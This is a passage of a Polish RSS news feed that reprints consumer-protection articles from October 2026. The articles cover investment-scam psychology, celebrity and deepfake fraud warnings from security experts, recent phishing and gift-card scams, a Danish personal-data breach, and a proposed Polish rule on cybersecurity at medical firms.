Chcemy wierzyand#263;, and#380;e o naszych pieniand#261;dzach decyduje rozum. Co go zastand#281;puje?





Chcemy byand#263; racjonalni, ale nie jesteand#347;my. Co nie znaczy, and#380;e jesteand#347;my gand#322;upi. Caand#322;e and#380;ycie podejmujemy decyzje: ktand#243;re masand#322;o kupiand#263;, do ktand#243;rego sklepu pand#243;jand#347;and#263;? Gdybyand#347;my za kaand#380;dym razem analizowali wszystkie argumenty, niczego innego byand#347;my nie robili. Zakupy na tydzieand#324; zajmowaand#322;yby caand#322;y dzieand#324;, dlatego korzystamy ze skrand#243;tand#243;w myand#347;lowych, czyli heurystyk. Dziand#281;ki nim dziaand#322;amy szybko, bez rozwaand#380;ania kaand#380;dej moand#380;liwoand#347;ci. Cenand#261; bywa band#322;and#261;d. Problem zaczyna siand#281; wtedy, gdy tak podejmujemy decyzje bardzo kosztowne. Co innego wrzuciand#263; do koszyka batonik przy kasie, a co innego zainwestowaand#263; wszystkie oszczand#281;dnoand#347;ci.
and#160;
and#8222;Inni juand#380; skorzystaliand#8221;, and#8222;Oferta tylko do wieczoraand#8221;. Te sztuczki juand#380; dawno zostaand#322;y obnaand#380;one i opisane. Dlaczego ciand#261;gle dajemy siand#281; na nie nabraand#263;?
Poniewaand#380; te mechanizmy dziaand#322;ajand#261; automatycznie. Nie zakand#322;adaand#322;abym, and#380;e lepiej wyksztaand#322;ceni sand#261; na nie mniej podatni. Samo wyksztaand#322;cenie czy wiedza na temat wykorzystywanych mechanizmand#243;w nie sprawia, and#380;e czand#281;and#347;ciej siand#281; zatrzymujemy i analizujemy sytuacjand#281;. W niektand#243;rych badaniach najpierw informowaliand#347;my uczestnikand#243;w o mechanizmach manipulacji, a pand#243;and#378;niej pokazywaliand#347;my reklamand#281;. Okazywaand#322;o siand#281;, and#380;e nie przenosili zdobytej wiedzy na jej odbiand#243;r.
and#160;
Czyli instrukcjand#281; obsand#322;ugi puand#322;apki przeczytali, a potem do niej weszli?





Tak. Akurat w tym badaniu reagowali na tak zwane magiczne sand#322;owa: okreand#347;lenia systemand#243;w czy skand#322;adnikand#243;w brzmiand#261;ce fachowo, choand#263; odbiorca niekoniecznie wie, co oznaczajand#261;. Spotykamy je w reklamach proszkand#243;w do prania czy szamponand#243;w. Moand#380;na wiedzieand#263;, and#380;e sprzedawcy stosujand#261; takie zabiegi, a mimo to im ulec. Czand#281;sto nie zdajemy sobie sprawy, and#380;e coand#347; na nas oddziaand#322;uje. To nie jest argument przeciwko edukacji. Lepiej przekazywaand#263; ludziom wiedzand#281;, niand#380; jej nie przekazywaand#263;. Nie moand#380;na jednak obiecywaand#263;, and#380;e uchroni kaand#380;dego.
and#160;
A psycholog? Wie, co siand#281; and#347;wiand#281;ci czy teand#380; kupuje?
Nie ma peand#322;nej gwarancji, and#380;e wiedza uchroni go przed oszustwem. Robert Cialdini pisaand#322;, and#380;e sam bywaand#322; naciand#261;gany przez domokrand#261;and#380;cand#243;w. Jest bardzo miand#322;ym czand#322;owiekiem, ktand#243;ry nie chce nikogo uraziand#263;. Taka cecha teand#380; moand#380;e mieand#263; znaczenie w kontakcie z kimand#347;, kto prand#243;buje nam coand#347; wcisnand#261;and#263;. Znajomoand#347;and#263; mechanizmand#243;w wpand#322;ywu pomaga, ale nie usuwa naszych cech osobowoand#347;ci czy automatycznych reakcji.
and#160;
Moand#380;e wiand#281;c zamiast kolejny raz tand#322;umaczyand#263; ludziom, jak dziaand#322;a gieand#322;da, trzeba ich nauczyand#263; mand#243;wiand#263;: chwileczkand#281;?





Prand#243;bowaand#322;am angaand#380;owaand#263; siand#281; w kampanie edukacji finansowej. Niepokoiand#322;o mnie, and#380;e czand#281;sto sprowadzaand#322;y siand#281; wand#322;aand#347;nie do tand#322;umaczenia, czym jest gieand#322;da. Tymczasem potrzebujemy uczenia na podstawowym poziomie zachowaand#324; i podejmowania decyzji. Warto pokazywaand#263; konkretne sytuacje: co wybraand#263;, nad czym siand#281; zastanowiand#263;, dlaczego jedno rozwiand#261;zanie moand#380;e byand#263; lepsze od drugiego. Zbyt rzadko korzysta siand#281; tu z wiedzy psychologand#243;w i socjologand#243;w. Nadal silne jest przekonanie, and#380;e ludzie podejmujand#261; decyzje zgodnie z rachunkiem ekonomicznym, a czand#281;sto nie robiand#261; tego nawet w sprawach finansowych.
and#160;
Nie warto uczyand#263; tego juand#380; w szkole? Choand#263; kolejny przedmiot niekoniecznie wywoand#322;a zachwyt uczniand#243;w.
Samo wprowadzenie przedmiotu niczego nie gwarantuje. Uwaand#380;am, and#380;e znacznie wiand#281;cej daje edukacja finansowa wpleciona w inne przedmioty. Na matematyce zamiast kolejnego zadania o pociand#261;gach moand#380;na przedstawiand#263; trzy oferty kredytu albo trzy promocje. I zapytaand#263;: ktand#243;rand#261; wybierasz? Waand#380;ne, and#380;eby na wyborze siand#281; nie koand#324;czyand#322;o. Waand#380;ne jest rozwaand#380;enie, dlaczego ta oferta, co ciand#281; do niej przekonaand#322;o, dlaczego ktoand#347; wskazaand#322; innand#261;. Refleksja nad konkretnand#261; sytuacjand#261; moand#380;e dawaand#263; wiand#281;cej niand#380; przyswajanie definicji.
and#160;
A moand#380;e taka edukacja powinna zaczand#261;and#263; siand#281; w domu?
Rzeczywiand#347;cie poza szkoand#322;and#261; jest coand#347;, co nazywamy socjalizacjand#261; finansowand#261;. Chodzi o to, czego dziecko uczy siand#281; przede wszystkim w domu. Nie zawsze sand#261; to jednak dobre zachowania. Jeand#347;li rodzice nie umiejand#261; oszczand#281;dzaand#263;, ciand#261;gle brakuje im pieniand#281;dzy, wydajand#261; je nierozsand#261;dnie, a dziecku mand#243;wiand#261;: musisz oszczand#281;dzaand#263; i rozsand#261;dnie kupowaand#263;, powstaje rozbieand#380;noand#347;and#263; miand#281;dzy sand#322;owami a zachowaniem. Dziecko nie wie, za ktand#243;rym komunikatem podand#261;and#380;aand#263;.
and#160;
Na koniec: wand#322;aand#347;nie dzwoni ktoand#347; z okazjand#261; and#380;ycia. Co sobie powiedzieand#263;, zanim siand#281;gniemy po telefon do banku?
Chwila, zatrzymaj siand#281;, zaczekaj. Porozmawiaj z kimand#347;, poradand#378; siand#281;. Co to za firma? Kto mi to proponuje? Skand#261;d ta obietnica? Rozdzielmy teand#380; dwie sprawy. Inwestowanie wiand#261;and#380;e siand#281; z ryzykiem, ktand#243;re moand#380;emy and#347;wiadomie podjand#261;and#263;, wiedzand#261;c, and#380;e istnieje moand#380;liwoand#347;and#263; straty. Oszustwo jest czymand#347; innym and#8212; ktoand#347; od poczand#261;tku zamierza nas wprowadziand#263; w band#322;and#261;d. Obietnica wysokiego zysku bez ryzyka powinna natychmiast skand#322;oniand#263; do zastanowienia. Moand#380;e lepiej jest nie zarobiand#263;, ale bezpiecznie dalej sobie and#380;yand#263;.
and#160;
and#160;
and#378;rodand#322;o Puls Biznesuand#160;7 paand#378;dziernik 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Celebryta w reklamie i obietnica wielkich zysków. Jak rozpoznać oszustwo inwestycyjne? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1774</link>
			<description><![CDATA[ Inwestowanie to dand#322;ugoterminowe przedsiand#281;wziand#281;cie, wymagajand#261;ce cierpliwoand#347;ci i metodycznego podejand#347;cia. Tej dewizy trzymajand#261; siand#281; nie tylko skuteczni inwestorzy, ale takand#380;e oszuand#347;ci wciand#261;gajand#261;cy ofiary w skomplikowane puand#322;apki. Pierwszym wabikiem czand#281;sto bywa znana twarz celebryty.
and#160;





fot. MMD Creative / /and#160;Shutterstock  


Polityk ogand#322;aszajand#261;cy nowy program, na ktand#243;rym mogand#261; zarobiand#263; drobni inwestorzy. Prezes wielkiej korporacji dzieland#261;cy siand#281; skutecznym sposobem na pomnoand#380;enie finansowych rezerw. Znany aktor uchylajand#261;cy rand#261;bka tajemnicy and#8222;wielkich zyskand#243;wand#8221;. To tylko kilka przykand#322;adand#243;w pierwszego kroku w oszustwach, ktand#243;re majand#261; na celu wyciand#261;gniand#281;cie od nieand#347;wiadomych ryzyka konsumentand#243;w ostatniego grosza. Przyciand#261;gniand#281;cie uwagi i pobudzenie apetytu na szybkie wzbogacenie ma skand#322;oniand#263; do oddania and#8222;w zarzand#261;dzanieand#8221; ciand#281;and#380;ko zarobionych pieniand#281;dzy.
and#160;
Jak przestand#281;pcy wciand#261;gajand#261; w sieand#263; pozorand#243;w?
Pierwsze skrzypce w oszustwie inwestycyjnym firmowanym przez znane twarze odgrywa zwykle reklama w mediach spoand#322;ecznoand#347;ciowych. Typowy schemat to fragment artykuand#322;y prasowego albo wywiadu wideo, w ktand#243;rym rozpoznawalny polityk lub bizesmen wspomina o finansowych okazjach. Treand#347;and#263; wygland#261;da jakby pochodziand#322;a z renomowanego portalu informacyjnego albo stacji telewizyjnej. To jednak and#8222;faand#322;szywkaand#8221;, ktand#243;ra moand#380;e wykorzystywaand#263; wygenerowany przez sztucznand#261; inteligencjand#281; deepfake.
and#160;
Zainteresowana okazjand#261; ofiara klika link, ktand#243;ry prowadzi do serwisu platformy inwestycyjnej. Tam trzeba zostawiand#263; dane kontaktowe. Wkrand#243;tce z klientem kontaktuje siand#281; doradca, ktand#243;ry pomaga w zarejestrowaniu konta. Zachand#281;ca do wpand#322;aty nawet niewielkiej kwoty, by wyprand#243;bowaand#263; moand#380;liwoand#347;ci platformy. and#346;rodki and#8222;na koncieand#8221; rzeczywiand#347;cie przynoszand#261; zyski, oszczand#281;dnoand#347;ci puchnand#261;, a ofiara gotowe jest zaangaand#380;owaand#263; wiand#281;cej swoich rezerw.



and#160;




Ten etap trwaand#263; moand#380;e dand#322;ugo, a oszuand#347;ci cierpliwie pomagajand#261; w inwestowaniu. Nierzadko doradzajand#261; zainstalowanie dodatkowego oprogramowania, ktand#243;re zabezpiecza konto lub uand#322;atwi korzystanie z and#8222;sygnaand#322;and#243;w rynkowychand#8221;. W ten sposand#243;b zdobywajand#261; dostand#281;p do komputera i telefonu ofiary.
Iluzja pryska, gdy inwestor zechce wypand#322;aciand#263; wiand#281;kszand#261; kwotand#281; i zrealizowaand#263; zyski. Nagle okazuje siand#281;, and#380;e trzeba opand#322;aciand#263; dodatkowe prowizje, and#8222;odblokowaand#263; kontoand#8221;. To ostatnia prand#243;ba naciand#261;gniand#281;cia zdesperowanej ofiary. Pand#243;and#378;niej kontakt z doradcand#261; siand#281; niespodziewanie koand#324;czy.
and#160;
Band#322;aand#380;ej Szymczak, Head of Security and Governance w XTB: Zwrand#243;and#263; uwagand#281; na czerwone flagi
Oszustwa inwestycyjne bezprawnie wykorzystujand#261;ce wizerunek znanych osand#243;b, naleand#380;and#261; do najbardziej niebezpiecznych mechanizmand#243;w wspand#243;and#322;czesnych oszustw internetowych. Przestand#281;pcy podszywajand#261; siand#281; pod znane instytucje finansowe, tworzand#261; faand#322;szywe reklamy i coraz czand#281;and#347;ciej wykorzystujand#261; technologie deepfake. Aby zwiand#281;kszyand#263; wiarygodnoand#347;and#263; rzekomych zyskand#243;w posand#322;ugujand#261; siand#281; wizerunkami politykand#243;w, sportowcand#243;w, dziennikarzy czy biznesmenand#243;w. Obiecujand#261; szybkie i ponadprzeciand#281;tne zyski, a znana twarz, czy logoand#160; majand#261; uand#347;piand#263; naszand#261; czujnoand#347;and#263;, wywoand#322;aand#263; emocje i skand#322;oniand#263; do natychmiastowego dziaand#322;ania. W rzeczywistoand#347;ci pieniand#261;dze trafiajand#261; do oszustand#243;w, a ich odzyskanie moand#380;e byand#263; bardzo trudne, a nierzadko niemoand#380;liwe. Na rynkach finansowych nie istniejand#261; proste recepty ani gwarancje zarobku. Dlatego zanim wejdziemy w interakcjand#281; i powierzymy pieniand#261;dze lub dane, powinniand#347;my upewniand#263; siand#281;, and#380;e korzystamy z wiarygodnego and#378;rand#243;dand#322;a informacji i sprawdzonej instytucji.
and#160;





Band#322;aand#380;ej Szymczak, Head of Security and Governance w XTB (XTB)


and#160;
Emocje sand#261; jednym z podstawowych narzand#281;dzi wykorzystywanych przez oszustand#243;w, wiand#281;c naleand#380;y bezwzgland#281;dnie kierowaand#263; siand#281; zasadand#261; ograniczonego zaufania. Czerwonymi flagami powinny byand#263; obietnice wysokich lub gwarantowanych zyskand#243;w, zapewnienia o minimalnym ryzyku, presja czasu czy nakand#322;anianie do natychmiastowego wykonania przelewu. Reklama ma czand#281;sto wywoand#322;aand#263; poczucie, and#380;e skoro inni juand#380; zarabiajand#261;, my rand#243;wnieand#380; musimy doand#322;and#261;czyand#263;, a dlatego warto zatrzymaand#263; siand#281; przed klikniand#281;ciem i niezaleand#380;nie zweryfikowaand#263; ofertand#281;. Jeand#347;li reklama obiecuje and#322;atwy i szybki zysk, a dodatkowo wykorzystuje wizerunek znanej osoby, powinno to zwiand#281;kszyand#263; naszand#261; ostroand#380;noand#347;and#263;, a nie skand#322;aniaand#263; do inwestycji.
Autentycznoand#347;and#263; oferty warto zawsze weryfikowaand#263; bezpoand#347;rednio na oficjalnej stronie danej instytucji. Naleand#380;y sprawdziand#263; dane rejestrowe podmiotu, jego licencje oraz listand#281; ostrzeand#380;eand#324; publicznych KNF. Istotna jest takand#380;e dokand#322;adna analiza adresu URL - wszelkie literand#243;wki czy nietypowe domeny powinny od razu wzbudziand#263; czujnoand#347;and#263;.
Dlatego dziaand#322;ania edukacyjne w obszarze cyberbezpieczeand#324;stwa, nigdy nie tracand#261; na aktualnoand#347;ci - wrand#281;cz przeciwnie, wraz z rozwojem technologii i coraz bardziej wyrafinowanymi metodami dziaand#322;ania oszustand#243;w nabierajand#261; jeszcze wiand#281;kszego znaczenia. and#346;wiadomoand#347;and#263; zagroand#380;eand#324;, zasada ograniczonego zaufania i umiejand#281;tnoand#347;and#263; samodzielnej weryfikacji informacji pozostajand#261; dziand#347; jednymi z najskuteczniejszych sposoband#243;w ochrony naszych pieniand#281;dzy i danych.
and#160;
Robert Grabowski, szef CERT Orange Polska: Oszustwa bazujand#261; na 4 filarach
CERT Orange Polska coraz czand#281;and#347;ciej odnotowuje zgand#322;oszenia dotyczand#261;ce tzw. celebrity scam - oszustw inwestycyjnych, w ktand#243;rych cyberprzestand#281;pcy podszywajand#261; siand#281; pod znane osoby, aby wzbudziand#263; zaufanie i skand#322;oniand#263; ofiary do wpand#322;aty pieniand#281;dzy. To nie jest juand#380; margines cyberprzestand#281;pczoand#347;ci, lecz zorganizowany i stale rozwijajand#261;cy siand#281; proceder. Wykorzystuje on nie tylko wizerunki celebrytand#243;w, ale teand#380; faand#322;szywe artykuand#322;y, spreparowane wywiady czy reklamy w mediach spoand#322;ecznoand#347;ciowych. Wg naszych danych juand#380; od dwand#243;ch lat wand#347;rand#243;d metod phishingowych dominujand#261; wand#322;aand#347;nie faand#322;szywe inwestycje and#8211; stanowiand#261; ponad 50% wszystkich oszustw.
and#160;





Robert Grabowski, szef CERT Orange Polska (CERT Orange Polska)


and#160;
Mechanizm oszustwa opiera siand#281; na czterech filarach and#8211; choand#263; scenariusze mogand#261; siand#281; rand#243;and#380;niand#263;, schemat dziaand#322;ania oszustand#243;w inwestycyjnych czand#281;sto jest zaskakujand#261;co podobny. Warto je znaand#263;, aby rozpoznaand#263; zagroand#380;enie na czas:

Zaufanie - oszuand#347;ci budujand#261; wiarygodnoand#347;and#263;, podszywajand#261;c siand#281; pod znane marki, ekspertand#243;w lub instytucje.
Presja czasu - and#8222;oferta waand#380;na tylko dziand#347;and#8221; lub and#8222;ostatnie miejscaand#8221; majand#261; skand#322;oniand#263; do szybkiej decyzji bez analizy.
Obietnica wysokich zyskand#243;w - nienaturalnie wysoka stopa zwrotu przy minimalnym ryzyku to klasyczny sygnaand#322; ostrzegawczy.
Stopniowe zaangaand#380;owanie - zaczyna siand#281; od maand#322;ej wpand#322;aty, a potem pojawiajand#261; siand#281; kolejne and#8222;konieczneand#8221; inwestycje.

Cyberprzestand#281;pcy chodzi o przyciand#261;gniand#281;cie naszej uwagi - reklamand#261; lub postem z rzekomand#261; wypowiedziand#261; znanej osoby o and#8222;pewnej i szybkiej inwestycjiand#8221; i zbudowanie wiarygodnoand#347;ci np. poprzez faand#322;szywe strony internetowe stylizowane na portale informacyjne lub platformy inwestycyjne. Nawet osoby and#347;wiadome zagroand#380;eand#324; mogand#261; paand#347;and#263; ofiarand#261;, jeand#347;li przekaz jest dobrze przygotowany i oparty na emocjach.
Jak siand#281; chroniand#263;? Zawsze weryfikuj and#378;rand#243;dand#322;o informacji - szczegand#243;lnie, jeand#347;li dotyczy inwestycji. Nie ufaj reklamom obiecujand#261;cym szybki i pewny zysk. Sprawdzaj adresy stron, nie reaguj impulsywnie i zawsze staraj siand#281; zasiand#281;gnand#261;and#263; dodatkowej opinii. Pamiand#281;taj, and#380;e prawdziwi celebryci rzadko promujand#261; inwestycje w nieznane platformy.
Technologia daje nam ogromne moand#380;liwoand#347;ci, ale to zdrowy rozsand#261;dek i krytyczne myand#347;lenie sand#261; naszand#261; pierwszand#261; liniand#261; obrony. Dziand#347; cyberprzestand#281;pcy inwestujand#261; w psychologiand#281; i marketing tak samo, jak w technologiand#281;. Dlatego my - uand#380;ytkownicy - musimy inwestowaand#263; w czujnoand#347;and#263;, edukacjand#281; i weryfikacjand#281; informacji.and#160; To wand#322;aand#347;nie and#8222;biaand#322;kowy firewalland#8221; jest pierwszand#261; i ostatniand#261; liniand#261; obrony przy tego typu oszustwach.
and#160;
Im wiand#281;kszy nacisk, tym bardziej warto zwolniand#263; - Robert Oleand#324;ski, dyrektor Biura Cyberbezpieczeand#324;stwa, Obszar Transformacji Cyfrowej i Informatyki ORLEN
Co powinno wzbudziand#263; podejrzenia? Przede wszystkim obietnica wysokiego i pewnego zysku, presja na szybkand#261; decyzjand#281; (iloand#347;and#263; miejsc ograniczona) oraz zapewnienia o inwestycji and#8222;bez ryzykaand#8221;. Alarmujand#261;ce sand#261; teand#380; niespodziewane telefony od doradcand#243;w, proand#347;by o instalowanie programand#243;w do zdalnej obsand#322;ugi komputera lub telefonu, podawanie danych logowania do bankowoand#347;ci czy kodand#243;w autoryzacyjnych.
and#160;





Robert Oleand#324;ski, dyrektor Biura Cyberbezpieczeand#324;stwa, Obszar Transformacji Cyfrowej i Informatyki ORLEN (Materiaand#322;y prasowe Orlen)


and#160;
W ORLEN staramy siand#281; edukowaand#263; naszych klientand#243;w poprzez materiaand#322;y w mediach spoand#322;ecznoand#347;ciowych informujand#261;ce o faand#322;szywych inwestycjach. Pokazujemy rand#243;wnieand#380; jak i gdzie naleand#380;y szukaand#263; informacji, jeand#380;eli faktycznie chcielibyand#347;my zainwestowaand#263; w akcje ORLEN.
Na co zwracaand#263; uwagand#281;! Nie ufaj inwestycji tylko dlatego, and#380;e reklamuje jand#261; znana osoba. Zatrzymaj siand#281; i zweryfikuj informacjand#281; w niezaleand#380;nym and#378;rand#243;dle. Sprawdand#378; oficjalne profile celebryty lub firmy, wyszukaj nazwand#281; platformy oraz ustal, jaki podmiot rzeczywiand#347;cie jand#261; prowadzi. Nie korzystaj przy tym z danych kontaktowych podanych wyand#322;and#261;cznie w reklamie.
Warto pamiand#281;taand#263; o prostej zasadzie: im bardziej ktoand#347; przekonuje, and#380;e musisz zainwestowaand#263; natychmiast, tym bardziej warto zwolniand#263;. Prawdziwa inwestycja nie powinna wymagaand#263; dziaand#322;ania pod presjand#261;, a profesjonalny doradca nie potrzebuje dostand#281;pu do Twojego telefonu, komputera ani konta bankowego.
Jeand#347;li oferta wygland#261;da zbyt dobrze, aby byand#322;a prawdziwa, zanim przelejesz choand#263;by zand#322;otand#243;wkand#281;, sprawdand#378;, kto naprawdand#281; stoi po drugiej stronie.
and#160;
and#378;rodand#322;o Bankier.pland#160; 7 paand#378;dziernik 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Tanie paliwo z reklamy? Tak oszukują naiwnych kierowców ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1773</link>
			<description><![CDATA[ Reklama obiecuje taand#324;sze tankowanie i ma logo Orlenu, a koand#324;czy siand#281; formularzem na dane karty. Kierowcand#243;w z aplikacji przewozowych and#8222;klienciand#8221; proszand#261; o kupno karty podarunkowej. Mieszkanka Wielkopolski chciaand#322;a dorobiand#263; na pakowaniu gumek do wand#322;osand#243;w i straciand#322;a oszczand#281;dnoand#347;ci. Oto przegland#261;d nowych scamand#243;w z ostatniego tygodnia.
and#160;





fot. T.Vyc / /and#160;Shutterstock


and#160;
Drogie paliwo przyciand#261;ga oszustand#243;w. CERT Polska ostrzega przed kampaniand#261; reklamowand#261; w mediach spoand#322;ecznoand#347;ciowych, w ktand#243;rej przestand#281;pcy obiecujand#261; rabaty na tankowanie oraz zniand#380;ki na myjniand#281; i zakupy na stacji. Reklamy podpisujand#261; siand#281; logo Orlenu, a takand#380;e rand#243;and#380;nych bankand#243;w.
Oczywiand#347;cie and#380;adnego programu rabatowego po klikniand#281;ciu nie ma. Jest strona przygotowana przez oszustand#243;w i formularz, w ktand#243;ry trzeba wpisaand#263; numer telefonu i dane karty pand#322;atniczej. CERT Polska radzi sprawdzaand#263; kaand#380;dand#261; takand#261; promocjand#281; u and#378;rand#243;dand#322;a, czyli na stronie lub w aplikacji firmy, ktand#243;rej logo widaand#263; w reklamie. To, and#380;e post jest sponsorowany i ma znanand#261; markand#281;, o niczym nie przesand#261;dza.
and#160;



Kup mi kartand#281; i wyand#347;lij zdjand#281;cie
Tym razem oszuand#347;ci wziand#281;li na celownik dostawcand#243;w jedzenia i kierowcand#243;w jeand#380;dand#380;and#261;cych z popularnymi aplikacjami. CERT Polska Orange pisze, and#380;e klient prosi kuriera, by oprand#243;cz zamand#243;wienia kupiand#322; mi jeszcze kartand#281; podarunkowand#261; do sklepu z grami, na przykand#322;ad Steam albo PlayStation Store, ewentualnie doand#322;adowanie PaysafeCard. Pieniand#261;dze ma oddaand#263; przy odbiorze.
Niby nic dziwnego, ale po chwili przychodzi kolejna proand#347;ba: zdjand#281;cie karty, and#8222;and#380;eby sprawdziand#263;, czy to ta wand#322;aand#347;ciwaand#8221;. Jeand#380;eli na fotografii widaand#263; kod, oszust moand#380;e go od razu wykorzystaand#263; albo sprzedaand#263; w sieci. Kierowca przyjeand#380;dand#380;a pod podany adres i nikogo nie zastaje. Zostaje z pustand#261; kartand#261; i stratand#261; w wysokoand#347;ci doand#322;adowania.

CERT Orange przytacza historiand#281; kierowcy, ktand#243;ry juand#380; raz daand#322; siand#281; na to zand#322;apaand#263;. Proceder ma byand#263; na tyle czand#281;sty, and#380;e kierowcy ostrzegajand#261; siand#281; nawzajem w internecie, a czand#281;and#347;and#263; firm przewozowych mand#243;wi o nim nowym pracownikom.
Platforma o takim zakupie nie wie, bo odbywa siand#281; on poza zleceniem w aplikacji. CERT radzi wiand#281;c, and#380;eby nie kupowaand#263; za wand#322;asne pieniand#261;dze niczego, o co klient prosi dodatkowo, i nigdy nie wysyand#322;aand#263; zdjand#281;and#263; kodand#243;w.
and#160;
Miaand#322;a pakowaand#263; gumki. Straciand#322;a 97 tys. zand#322;
Najdroand#380;sza okazaand#322;a siand#281; oferta pracy, ktand#243;rand#261; mieszkanka powiatu gostyand#324;skiego znalazand#322;a na TikToku. Film zachand#281;caand#322; do zarabiania na pakowaniu gumek do wand#322;osand#243;w. Z TikToka kobieta trafiand#322;a na WhatsApp, a stamtand#261;d na Telegram. Dowiedziaand#322;a siand#281;, and#380;e dostanie za darmo tysiand#261;c gumek, a gotowe paczki odbierze przedstawiciel firmy.
Do tego doszand#322;a propozycja dodatkowego zarobku. Wedand#322;ug policji kobieta wykonywaand#322;a zadania na platformie podajand#261;cej siand#281; za Amazon Handmade. Na poczand#261;tku polegaand#322;y na lajkowaniu produktand#243;w i wysyand#322;aniu zrzutand#243;w ekranu. Pand#243;and#378;niej trzeba juand#380; byand#322;o kupowaand#263;.
Na wirtualnym saldzie widziaand#322;a swoje wpand#322;aty i rosnand#261;cy and#8222;zyskand#8221;, wiand#281;c uwierzyand#322;a, and#380;e to dziaand#322;a. Kiedy w jednym z zadaand#324; kupiand#322;a jednand#261; sztukand#281; produktu zamiast dwand#243;ch, konto zostaand#322;o zablokowane. Odblokowanie wymagaand#322;o kolejnych przelewand#243;w.
Najpierw 10 tys. zand#322;, potem 7 tys. zand#322;, potem nastand#281;pne kwoty. Czand#281;and#347;and#263; pieniand#281;dzy szand#322;a przez Remitly na numer telefonu, przy ktand#243;rym jako kraj odbiorcy ustawiono Keniand#281;. W pewnym momencie oszuand#347;ci pozwolili jej wypand#322;aciand#263; 300 zand#322;. Zaraz potem usand#322;yszaand#322;a, and#380;e powinna byand#322;a wypand#322;aciand#263; wszystko, i konto znand#243;w zamroand#380;ono. and#8222;Odblokowanieand#8221; wyceniono tym razem na ponad 21 tys. zand#322;.
and#321;and#261;cznie kobieta zgand#322;osiand#322;a stratand#281; przekraczajand#261;cand#261; 97 tys. zand#322;. Komenda Powiatowa Policji w Gostyniu opisaand#322;a sprawand#281; 1 paand#378;dziernika. Nie podaand#322;a, czy pieniand#261;dze udaand#322;o siand#281; odzyskaand#263;, ani kto staand#322; za oszustwem.
and#160;
and#378;rodand#322;o Bankier.pl and#160;6 paand#378;dziernik 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Gigantyczny wyciek danych w Danii. Zagrożone dane 8,8 mln osób ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1772</link>
			<description><![CDATA[ and#160;



Nieupowaand#380;nione osoby miaand#322;y dostand#281;p do 8,8 mln duand#324;skich numerand#243;w personalnych CPR, nazwisk, adresand#243;w osand#243;b and#380;yjand#261;cych i zmarand#322;ych and#8211; poinformowaand#322; w poniedziaand#322;ek rzand#261;d Danii.and#160;Duand#324;skie media oceniajand#261;, and#380;e mogand#322;o dojand#347;and#263; do najwiand#281;kszego wycieku danych w historii rejestru.and#160;and#160;and#160;
and#160;





fot. Nikolay Antonov / /and#160;Shutterstock


and#160;
Ministra ds. cyfryzacji Christina Egelund okreand#347;liand#322;a incydent jako and#8222;bardzo powaand#380;nyand#8221; i zaapelowaand#322;a do obywateli o and#8222;zachowanie czujnoand#347;ci teraz i w przyszand#322;oand#347;ciand#8221;.and#160;
Jak przekazaand#322; resort w komunikacie, and#8222;nieupowaand#380;nione osobyand#8221; wykorzystaand#322;y dostand#281;p do wyszukiwania informacji w systemie CPR, jaki zgodnie z prawem posiadaand#322;a duand#324;ska firma. Dostand#281;p ten zablokowano, a sprawa jest przedmiotem dochodzenia policji oraz postand#281;powania Duand#324;skiego Nadzoru Danych Osobowych. O incydencie poinformowano rand#243;wnieand#380; parlamentarnand#261; komisjand#281; do spraw cyfrowych.and#160;




and#160;




Zdaniem Egelundand#160;nie wiadomo, jakie w praktyce band#281;dand#261; skutki wycieku danych. Ekspert ds. cyberbezpieczeand#324;stwa z Uniwersytetu w Aarhus, prof. Jens Myrup Pedersenand#160;oceniand#322;, and#380;e jeand#347;li dane z rejestru CPR zostaand#322;y skradzione, to mogand#261; zostaand#263; wykorzystane do atakand#243;w phishingowych. Obywatele mogand#261; otrzymaand#263; e-maile i SMS-yand#160;wygland#261;dajand#261;ce, jakby pochodziand#322;y od wand#322;adz, w celu wyand#322;udzenia pieniand#281;dzy czy kolejnych danych.and#160;
Media w Danii oceniajand#261;, and#380;e mogand#322;o dojand#347;and#263; do najwiand#281;kszego wycieku danych w historii rejestru CPR, komentatorzy zastanawiajand#261; siand#281;, czy konieczne band#281;dzie nadanie nowych numerand#243;w personalnych.and#160;
Rejestr CPR obejmuje dane ok. 11 mln obywateli, and#380;yjand#261;cych i zmarand#322;ych, a takand#380;e rezydentand#243;w i Duand#324;czykand#243;w, ktand#243;rzy przeprowadzili siand#281; za granicand#281;. Daniand#281; zamieszkuje ponad 6 mln osand#243;b.
and#160;
and#160;
and#378;rodand#322;o PAP 5 paand#378;dziernik 2026and#160; zys/and#160; akl/and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Firmy medyczne z limitem na dane? Gawkowski zapowiada zmiany w prawie ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1771</link>
			<description><![CDATA[ Firmy medyczne nie band#281;dand#261; mogand#322;y przetwarzaand#263; wiand#281;cej niand#380; 100 tysiand#281;cy rekordand#243;w, jeand#380;eli siand#281; nie band#281;dand#261; przeznaczaand#263; odpowiednio wysokich and#347;rodkand#243;w finansowych na cyberbezpieczeand#324;stwo, czy stosowaand#263; Krajowego Systemu Cyberbezpieczeand#324;stwa - poinformowaand#322; wicepremier, minister cyfryzacji Krzysztof Gawkowski, w rozmowie z Radiem Zet.
and#160;




and#160;

fot. KPRM / /and#160;Kancelaria Prezesa Rady Ministrand#243;w


"Band#281;dziemy proponowali zmiany w prawie. Firmy medyczne nie band#281;dand#261; mogand#322;y przetwarzaand#263; wiand#281;cej niand#380; 100 tysiand#281;cy rekordand#243;w, jeand#380;eli siand#281; nie band#281;dand#261; odpowiednio wysokich and#347;rodkand#243;w finansowych and#322;oand#380;yand#322;y na cyberbezpieczeand#324;stwo, robiand#322;y audytu, stosowaand#322;y Krajowego Systemu Cyberbezpieczeand#324;stwa. (...) Firmy mand#243;wiand#261;:and#160;to jest dziaand#322;anie przeciwko naszej konkurencyjnoand#347;ci, to band#281;dzie osand#322;abiaand#322;o nasze moand#380;liwoand#347;ci. Jaand#160;odpowiadam:and#160;nie. To jest dziaand#322;anie w rozsand#261;dku bezpieczeand#324;stwa obywatelskiego" - powiedziaand#322; Gawkowski.
